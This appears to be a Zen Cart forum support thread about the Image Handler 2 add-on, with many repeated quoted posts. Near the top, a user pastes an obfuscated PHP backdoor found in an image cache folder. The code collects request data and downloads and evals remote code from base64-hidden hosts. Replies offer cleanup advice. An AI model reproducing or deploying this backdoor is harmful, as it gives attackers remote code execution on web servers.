Image Handler 2 (for ZC v1.3.8 ONLY) Support

[DarkAngel]

There is another file called: 81431.php

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="1c9c141af20b84fdd184f973d11cd773") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

In the BMZ_CACHE folder i have alot of folders a - f and 0 - 9 i looked thorugh every folder and it seems that most of them had a few php files similar to the two above.....

ok, this is what another software told me when I got some of those in our forum files...cause usually they have some kind of redirection in them or links ...they can get in by way of a disguised config file ...hence the search for any php files that do not belong in with the image files or vice versa. so make sure you inspect all those files cause they are hack attempts.

What have you installed recently into your store ... check the zips that you got cause unless you did not manually install the items and someone else does your installing then those were put up there by a would be hacker.

The other software told me that anyfile with numbers like that, which you do not install yourself are indeed a hack attempt either by the contributor (which I am fairyly certain this place does not allow or it would go the way of the dinos very fast) or by someone hacking the server files.

It is best to find out for certain, then download them all and delete them from the server...do this regardless.

Then keep an eye out to see if they reoccur. Talk to your host about these files also and please, change your password to get into the server files and the admin section.

[gee38l]

ok, this is what another software told me when I got some of those in our forum files...cause usually they have some kind of redirection in them or links ...they can get in by way of a disguised config file ...hence the search for any php files that do not belong in with the image files or vice versa. so make sure you inspect all those files cause they are hack attempts.

What have you installed recently into your store ... check the zips that you got cause unless you did not manually install the items and someone else does your installing then those were put up there by a would be hacker.

The other software told me that anyfile with numbers like that, which you do not install yourself are indeed a hack attempt either by the contributor (which I am fairyly certain this place does not allow or it would go the way of the dinos very fast) or by someone hacking the server files.

It is best to find out for certain, then download them all and delete them from the server...do this regardless.

Then keep an eye out to see if they reoccur. Talk to your host about these files also and please, change your password to get into the server files and the admin section.

Thanks for the info and i usually install mods myself manually by going through each folder and uploading?

IS there anything else i can do to prevent this?

[DarkAngel]

Thanks for the info and i usually install mods myself manually by going through each folder and uploading?

IS there anything else i can do to prevent this?

I install manually also that is how i found out about those types of files too. I experienced a problem went to the forums and asked the creator what that file was for and he then told me he did not add it. went to his downlable item and found it to have it so they repackaged it.

When a hacker wants in tis like the flu...they will find a way.

Well manually installing is one way. Make sure there are no more of those files anywhere else in the store fodlers...check each and every one of them for those numbered files and remove them.

make double sure you have done all the security updates they have listed in here by redoing them and overwriting the ones that are in there.

and as I said change your pass for the server and the admin...changing the passwords at intervals is best to do anyway.

[DivaVocals]

I suggest posting these questions in either the general section of the forum or in the Simple SEO support thread to get a more complete response to your issue.. The issue you are reporting seems very much unrelated to Image Handler and it's purpose or behavior.. The fact that one of the affected folders happens to be an IH2 folder is coincidental at best..

Hi Zenners,

I have been noticing recently that when viewing whos online through admin i have been noticing weird links (inparticular when visited by yahoo bot) such as:

/bmz_cache/amazing-cover-letter-creator-torrent.html

This is just one that i saw recently there have been others

Now i know that bmz_cache is part of image handler and whenever i click on the links i get 404 page not found and there is nothing in the bmz cache folder relating to any html documents.

I also only started to see these weird links when i installed simple SEO.

Anyone have any idea of what this could be?

Thanks for the info and i usually install mods myself manually by going through each folder and uploading?

IS there anything else i can do to prevent this?

[gee38l]

I install manually also that is how i found out about those types of files too. I experienced a problem went to the forums and asked the creator what that file was for and he then told me he did not add it. went to his downlable item and found it to have it so they repackaged it.

When a hacker wants in tis like the flu...they will find a way.

Well manually installing is one way. Make sure there are no more of those files anywhere else in the store fodlers...check each and every one of them for those numbered files and remove them.

make double sure you have done all the security updates they have listed in here by redoing them and overwriting the ones that are in there.

and as I said change your pass for the server and the admin...changing the passwords at intervals is best to do anyway.

Thanks for the info i have spoken to my host and advised them of the situation and there responses seem to always refer to blocking the yahoo search bot!!!

I have changed all my passwords and deleted all the files that shouldnt be there in relation to image handler folders.

[gee38l]

I suggest posting these questions in either the general section of the forum or in the Simple SEO support thread to get a more complete response to your issue.. The issue you are reporting seems very much unrelated to Image Handler and it's purpose or behavior.. The fact that one of the affected folders happens to be an IH2 folder is coincidental at best..

Thanks for the reply i have made a thread in the general section and i have also just posted in the simple seo url support thread.

[DivaVocals]

Thanks for the reply i have made a thread in the general section and i have also just posted in the simple seo url support thread.

Thanks.. Not trying to be a pain or anything.. It's just that the discussion and the possible solutions are a LOT off topic for this support thread..

[DarkAngel]

thanks diva it never occurred to me to have the admins split this from this topic too.

[Zedez512]

Hi, I recently installed Image Handler 2 so that I could display larger images on product mouseover. Currently it is displaying the category image on mouseover but it will not display a larger product image on mouseover.. I want the opposite. I've tried to configure in Admin>Tools>ImageHandler2>Manager and also in Admin>Configuration>Images. I have zoom turned on for small/medium/large images so I don't understand why product images aren't displaying on mouseover. Please help! I'm using ZenCart 1.3.8a & Image Handler 2 V2R7

[DarkAngel]

I have the same thing and the others I have seen are doing the same thing...hover over thumbnail and you see the exact same size as what is pictured then when you clik the image you get the ffull size (as to what you set--mine is 700x700)

I have different sizes for the individual settings but still only get the hover image to be exactly as the one pictured not the medium size.

Not sure if this is the intention of the add on or not.